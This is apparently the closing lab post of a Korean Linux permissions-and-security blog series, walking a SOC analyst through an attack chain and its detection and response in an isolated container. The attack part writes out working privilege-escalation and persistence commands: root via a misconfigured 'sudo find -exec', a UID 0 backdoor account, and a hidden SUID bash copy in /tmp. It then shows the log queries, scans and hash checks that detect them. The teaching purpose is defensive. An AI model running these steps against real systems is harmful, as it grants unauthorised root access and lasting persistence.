파일 · 권한 · 사용자 관리 50 / 50 · Part 5. 권한 상승과 Linux 보안
실습 환경: Rocky Linux 9.8 · Ubuntu 24.04.5 (Docker 격리 컨테이너, 테스트 계정analyst)
기초편 연계: 「리눅스 시스템 기초」 49. SSH Brute Force 로그 분석 · 50. 보안관제 실습 - 로그에서 공격 흔적 찾기
「파일 · 권한 · 사용자 관리」 시리즈의 마지막 글이다. 지금까지 50편에 걸쳐 배운 모든 것 — 파일 구조, 속성, 권한, 소유권, 사용자·그룹, sudo, ACL, 권한 상승, 보안 점검 — 을 하나의 침해 시나리오 로 연결한다.
가상의 공격 상황을 격리된 테스트 VM에서 재현하고, 보안관제(SOC) 분석가의 관점에서 탐지 → 증거 수집 → 조사 → 초동 대응 전 과정을 실습한다.
계정 침투 → 웹셸 배치 → 권한 상승 → 백도어 계정
→ SUID 백도어 → 로그 탐지 → 증거 확보 → 초동 대응
주의: 이 실습의 목적은 방어와 탐지 다. 모든 공격 재현은 격리된 테스트 컨테이너에서만 이루어지며, 실제 시스템 공격에 사용하지 않는다. 웹셸은 무해한 플레이스홀더로 대체했다.
| 단계 | 행위 | 이용한 취약점 | 관련 편 |
|---|---|---|---|
| ① 침투 | 웹 계정(webapp) 획득 | 웹 취약점(가정) | - |
| ② 웹셸 | 업로드 폴더에 웹셸 배치 | world-writable 777 | 46편 |
| ③ 권한 상승 | sudo find -exec | sudo 오설정(GTFOBins) | 43편 |
| ④ 백도어 계정 | useradd -o -u 0 | UID 0 중복 | 48편 |
| ⑤ SUID 백도어 | bash 사본 + chmod 4755 | SUID | 28·47편 |
| 단계 | 활동 | 관련 편 |
|---|---|---|
| Detection | sudo 로그·UID 0·비표준 SUID 탐지 | 41·48·47편 |
| Evidence | 해시·로그·웹셸 수집 | 20·16편 |
| Investigation | 로그 상관분석 | 49편 |
| Response | 잠금·제거·격리·규칙 수정 | 37·42편 |

이 시나리오의 각 공격 단계는 시리즈에서 배운 개념과 1:1로 대응한다. 공격자는 여러 작은 약점을 연결 해 최종 목표(지속적 root 접근)에 도달한다. 하나하나는 사소해 보여도 — world-writable 폴더, sudo find 한 줄, UID 0 옵션 — 연결되면 완전한 침해가 된다.
방어자의 역할은 이 체인을 탐지하고 끊는 것이다. 핵심 IOC(침해 지표) 세 가지가 한 시간대에 함께 나타나면 권한 상승 침해를 확정할 수 있다.
find ... -exec useradd/chmod/tmp/.sysd의 해시가 /bin/bash와 동일각 단계에서 남는 흔적(로그·파일·계정)을 알아야 탐지가 가능하다. 그것이 이 시리즈 전체가 "명령어 암기"가 아니라 "구조와 흔적의 이해"를 강조한 이유다.
# 1. 정찰: 웹 계정의 sudo 권한 확인
id; sudo -l
# 2. 웹셸 배치 (world-writable 업로드 폴더)
printf '<?php /* [무해 플레이스홀더] */ ?>\n' > /var/www/html/uploads/.shell.php
# 3. sudo find 오설정으로 권한 상승 (GTFOBins)
sudo find /etc/hostname -exec id \;
# 4. 백도어 계정 생성 (UID 0)
sudo find /etc/hostname -exec useradd -M -o -u 0 -s /bin/bash sysbackup \;
# 5. SUID 백도어 심기
sudo find /etc/hostname -exec cp /bin/bash /tmp/.sysd \;
sudo find /etc/hostname -exec chmod 4755 /tmp/.sysd \;
# Detection 1: sudo 로그 — find 를 통한 명령 실행
grep -E 'sudo:.*webapp.*COMMAND' /var/log/secure | tail -5
# Detection 2: UID 0 추가 계정
awk -F: '$3==0{print "[IOC] UID 0:", $1}' /etc/passwd
grep 'new user' /var/log/secure | tail -2
# Detection 3: 비표준 SUID + 웹셸
find /tmp /var/www -xdev -perm -4000 -type f 2>/dev/null
find /var/www/html/uploads -name '*.php' 2>/dev/null
# Evidence: SUID 백도어 해시 (= bash 확인)
sha256sum /tmp/.sysd /bin/bash
# Response: 초동 대응
usermod -L sysbackup # 계정 잠금
rm -f /tmp/.sysd # SUID 제거
mv /var/www/html/uploads/.shell.php /root/evidence-shell.php # 웹셸 격리
rm -f /etc/sudoers.d/webapp # 취약 규칙 제거
공격 재현

관제 대응

텍스트 원본(실제 출력) — 공격:
[webapp@rocky9-lab /]$ echo "########## [공격 단계 재현: 격리 VM] ##########"
########## [공격 단계 재현: 격리 VM] ##########
[webapp@rocky9-lab /]$ echo "=== 1. 웹 계정으로 침투 후 정찰 ==="
=== 1. 웹 계정으로 침투 후 정찰 ===
[webapp@rocky9-lab /]$ id; sudo -l 2>/dev/null | tail -1
uid=1001(webapp) gid=100(users) groups=100(users)
(ALL) NOPASSWD: /usr/bin/find
[webapp@rocky9-lab /]$ echo "=== 2. 업로드 디렉터리에 웹셸 배치 (world-writable 777) ==="
=== 2. 업로드 디렉터리에 웹셸 배치 (world-writable 777) ===
[webapp@rocky9-lab /]$ printf '<?php /* [실습용 무해 플레이스홀더 — 실제 웹셸 코드 아님] */ ?>\n' > /var/www/html/uploads/.shell.php
[webapp@rocky9-lab /]$ ls -l /var/www/html/uploads/.shell.php
-rw-r--r-- 1 webapp users 85 Sep 24 15:09 /var/www/html/uploads/.shell.php
[webapp@rocky9-lab /]$ echo "=== 3. sudo find 오설정으로 권한 상승 (GTFOBins) ==="
=== 3. sudo find 오설정으로 권한 상승 (GTFOBins) ===
[webapp@rocky9-lab /]$ sudo find /etc/hostname -exec id \; 2>/dev/null
uid=0(root) gid=0(root) groups=0(root)
[webapp@rocky9-lab /]$ echo "=== 4. root 권한으로 백도어 계정 생성 ==="
=== 4. root 권한으로 백도어 계정 생성 ===
[webapp@rocky9-lab /]$ sudo find /etc/hostname -exec useradd -M -o -u 0 -s /bin/bash sysbackup \; 2>/dev/null
[webapp@rocky9-lab /]$ awk -F: '$3==0{print " UID 0:", $1}' /etc/passwd
UID 0: root
UID 0: sysbackup
[webapp@rocky9-lab /]$ echo "=== 5. SUID 백도어 심기 ==="
=== 5. SUID 백도어 심기 ===
[webapp@rocky9-lab /]$ sudo find /etc/hostname -exec cp /bin/bash /tmp/.sysd \; 2>/dev/null
[webapp@rocky9-lab /]$ sudo find /etc/hostname -exec chmod 4755 /tmp/.sysd \; 2>/dev/null
[webapp@rocky9-lab /]$ ls -l /tmp/.sysd
-rwsr-xr-x 1 root root 1389024 Sep 24 15:09 /tmp/.sysd
텍스트 원본(실제 출력) — 대응:
[root@rocky9-lab ~]# echo "########## [보안관제 분석: Detection → Response] ##########"
########## [보안관제 분석: Detection → Response] ##########
[root@rocky9-lab ~]# echo "=== Detection 1: sudo 로그 — find 를 통한 명령 실행 ==="
=== Detection 1: sudo 로그 — find 를 통한 명령 실행 ===
[root@rocky9-lab ~]# grep -E 'sudo:.*webapp.*COMMAND' /var/log/secure | tail -5
Sep 24 15:09:00 rocky9-lab sudo: webapp : PWD=/ ; USER=root ; COMMAND=/usr/bin/find /etc/hostname -exec id ;
Sep 24 15:09:00 rocky9-lab sudo: webapp : PWD=/ ; USER=root ; COMMAND=/usr/bin/find /etc/hostname -exec useradd -M -o -u 0 -s /bin/bash sysbackup ;
Sep 24 15:09:00 rocky9-lab sudo: webapp : PWD=/ ; USER=root ; COMMAND=/usr/bin/find /etc/hostname -exec cp /bin/bash /tmp/.sysd ;
Sep 24 15:09:00 rocky9-lab sudo: webapp : PWD=/ ; USER=root ; COMMAND=/usr/bin/find /etc/hostname -exec chmod 4755 /tmp/.sysd ;
[root@rocky9-lab ~]# echo ""
[root@rocky9-lab ~]# echo "=== Detection 2: 계정 이상 — UID 0 추가 계정 ==="
=== Detection 2: 계정 이상 — UID 0 추가 계정 ===
[root@rocky9-lab ~]# awk -F: '$3==0{print " [IOC] UID 0:", $1}' /etc/passwd
[IOC] UID 0: root
[IOC] UID 0: sysbackup
[root@rocky9-lab ~]# grep -E 'new user' /var/log/secure | tail -2
Sep 24 15:08:59 rocky9-lab useradd[56]: new user: name=webapp, UID=1001, GID=100, home=/home/webapp, shell=/bin/bash, from=none
Sep 24 15:09:00 rocky9-lab useradd[162]: new user: name=sysbackup, UID=0, GID=1001, home=/home/sysbackup, shell=/bin/bash, from=none
[root@rocky9-lab ~]# echo ""
[root@rocky9-lab ~]# echo "=== Detection 3: 파일 IOC — 비표준 SUID + 웹셸 ==="
=== Detection 3: 파일 IOC — 비표준 SUID + 웹셸 ===
[root@rocky9-lab ~]# find /tmp /var/www -xdev -perm -4000 -type f 2>/dev/null | sed 's/^/ [SUID] /'
[SUID] /tmp/.sysd
[root@rocky9-lab ~]# find /var/www/html/uploads -name '*.php' 2>/dev/null | sed 's/^/ [WebShell?] /'
[WebShell?] /var/www/html/uploads/.shell.php
[root@rocky9-lab ~]# echo "=== Evidence: SUID 백도어 해시 (IOC) ==="
=== Evidence: SUID 백도어 해시 (IOC) ===
[root@rocky9-lab ~]# sha256sum /tmp/.sysd 2>/dev/null | awk '{print " "$1}'
ec6d007d48ef11bc47ad3f372b4b20ff2f0d4e63867e7e4cc0f1b17b19fa88b2
[root@rocky9-lab ~]# sha256sum /bin/bash | awk '{print " bash 원본: "$1}'
bash 원본: ec6d007d48ef11bc47ad3f372b4b20ff2f0d4e63867e7e4cc0f1b17b19fa88b2
[root@rocky9-lab ~]# echo ""
[root@rocky9-lab ~]# echo "=== Response 초동 대응 (시뮬레이션) ==="
=== Response 초동 대응 (시뮬레이션) ===
[root@rocky9-lab ~]# echo " 1) 백도어 계정 잠금"; usermod -L sysbackup 2>/dev/null && echo " sysbackup 잠금 완료"
1) 백도어 계정 잠금
sysbackup 잠금 완료
[root@rocky9-lab ~]# echo " 2) SUID 백도어 제거"; rm -f /tmp/.sysd && echo " /tmp/.sysd 제거"
2) SUID 백도어 제거
/tmp/.sysd 제거
[root@rocky9-lab ~]# echo " 3) 웹셸 격리"; mv /var/www/html/uploads/.shell.php /root/evidence-shell.php 2>/dev/null && echo " 웹셸 보존 격리"
3) 웹셸 격리
웹셸 보존 격리
[root@rocky9-lab ~]# echo " 4) 취약 sudo 규칙 제거"; rm -f /etc/sudoers.d/webapp && echo " webapp find 규칙 제거"
4) 취약 sudo 규칙 제거
webapp find 규칙 제거
| 출력 | 해석 |
|---|---|
(ALL) NOPASSWD: /usr/bin/find | webapp이 find를 sudo 허용받음 (취약) |
sudo find ... -exec id \; → uid=0(root) | find로 root 권한 획득 |
UID 0: root, UID 0: sysbackup | 백도어 root 계정 생성 |
/tmp/.sysd -rwsr-xr-x root root 1389024 | SUID bash 백도어 |
| 출력 | 해석 |
|---|---|
sudo 로그의 COMMAND=/usr/bin/find ... -exec useradd/chmod | 공격 명령이 모두 기록됨 |
useradd[..]: new user: name=sysbackup, UID=0 | UID 0 계정 생성 로그 |
[SUID] /tmp/.sysd, [WebShell?] .shell.php | 파일 IOC 탐지 |
sha256sum → .sysd와 bash가 동일 해시 | .sysd = bash 사본 확정 |
| Response 4단계 완료 | 계정 잠금·SUID 제거·웹셸 격리·규칙 제거 |
.sysd와 /bin/bash의 해시가 같다는 것이 결정적 증거다. /tmp에 숨겨진 이 SUID 파일이 root 셸 백도어임을 해시 하나로 증명했다. 그리고 sudo 로그에 find -exec useradd가 남아, 공격 명령 전체가 추적됐다.
| 공격 단계 | 방어책 | 관련 편 |
|---|---|---|
| 웹셸 배치 | 업로드 폴더 실행 차단, world-writable 제거 | 17·46편 |
| sudo find 상승 | 셸 탈출 도구 sudo 금지, GTFOBins 점검 | 43편 |
| UID 0 백도어 | UID 0 중복 점검, /etc/passwd 감시 | 48편 |
| SUID 백도어 | SUID 기준값 비교, nosuid 마운트 | 47편 |
| 전 단계 | 최소 권한, 로그 원격 전송, auditd | 45·49편 |
핵심 교훈: 단일 방어는 뚫린다. 여러 계층의 방어(Defense in Depth) 가 필요하다. world-writable을 막았어도 sudo 오설정이 있으면 뚫리고, sudo를 고쳐도 SUID 백도어가 남으면 재침투된다.
[Detection] SIEM 상관 규칙 발동
· sudo COMMAND 에 find -exec + useradd/chmod
· new user ... UID=0
· 비표준 경로 SUID 생성
↓
[Triage] 세 IOC 의 시간대 일치 확인 → 권한 상승 침해 확정
↓
[Evidence] 순서 준수: 보존 → 분석
· sha256sum(.sysd), 웹셸 격리(원본 보존), 로그 스냅샷
· stat 으로 생성 시각 → 타임라인
↓
[Investigation] 로그 상관분석 (49편)
· 최초 침투 시각·경로(웹 로그), 권한 상승 시점, 지속성 심은 시점
↓
[Response] 초동 대응 (봉쇄 → 근절)
1. 백도어 계정 잠금 (삭제 전, 증거 보존)
2. SUID 백도어 제거
3. 웹셸 격리 (해시·원본 보존)
4. 취약 sudo 규칙 제거
5. 최소 권한·auditd·로그 전송으로 재발 방지
| 관점 | 내용 |
|---|---|
| 봉쇄 우선 | 추가 피해 차단이 조사보다 먼저 |
| 증거 보존 | 삭제 전 해시·원본 보존(잠금 → 조사 → 삭제) |
| 근본 원인 | 최초 침투 경로(웹 취약점)까지 추적해야 재침투 방지 |
| 재발 방지 | 이 시리즈 전체(최소 권한·점검·감사)가 재발 방지책 |
| 실수 | 결과 | 예방 |
|---|---|---|
| 백도어를 바로 삭제 | 증거 소실 | 잠금·격리 후 조사 |
| 웹셸만 제거하고 종료 | 백도어 계정·SUID 잔존 | 전체 체인 점검 |
| 최초 침투 경로 미추적 | 재침투 | 근본 원인 조사 |
| 단일 방어 의존 | 우회 가능 | Defense in Depth |
| 로컬 로그만 의존 | 삭제 위험 | 원격 전송 |
[ ] 공격 체인의 각 단계와 관련 편을 연결할 수 있다
[ ] sudo 로그로 공격 명령을 추적했다
[ ] UID 0 백도어 계정을 탐지했다
[ ] 해시로 SUID bash 백도어를 확인했다
[ ] 봉쇄(잠금)를 조사보다 먼저 하는 이유를 안다
[ ] 재발 방지책(최소 권한·감사·로그 전송)을 설명할 수 있다
find -exec, UID 0 추가 계정, bash와 동일 해시의 SUID.「파일 · 권한 · 사용자 관리」 50편은 다음 흐름으로 구성됐다.
Part 1 (01–10) 파일 구조 이름·inode·데이터, 디렉터리, 경로, 기본 명령
Part 2 (11–20) 파일 속성 종류·링크·타임스탬프·형식·무결성
Part 3 (21–30) 파일 권한 rwx·chmod·umask·소유권·특수 권한
Part 4 (31–40) 사용자·그룹 계정 구조·passwd/shadow/group·관리 명령·root
Part 5 (41–50) 권한 상승·관제 su/sudo·sudoers·ACL·최소 권한·점검·로그·종합 실습
각 편은 "명령어를 외우는 사람"이 아니라 "Linux 시스템의 파일·권한·계정 구조를 이해하고 보안관제 관점에서 분석할 수 있는" 역량 을 목표로 했다. 모든 실습은 Rocky Linux 9.8과 Ubuntu 24.04의 격리된 컨테이너에서 직접 실행한 결과를 담았고, 배포판 차이·과장 없는 보안 판단·SOC 연결을 일관되게 유지했다.
이 시리즈가 정보보안관제·SOC·보안운영 직무를 준비하는 데 실질적인 기반이 되기를 바란다.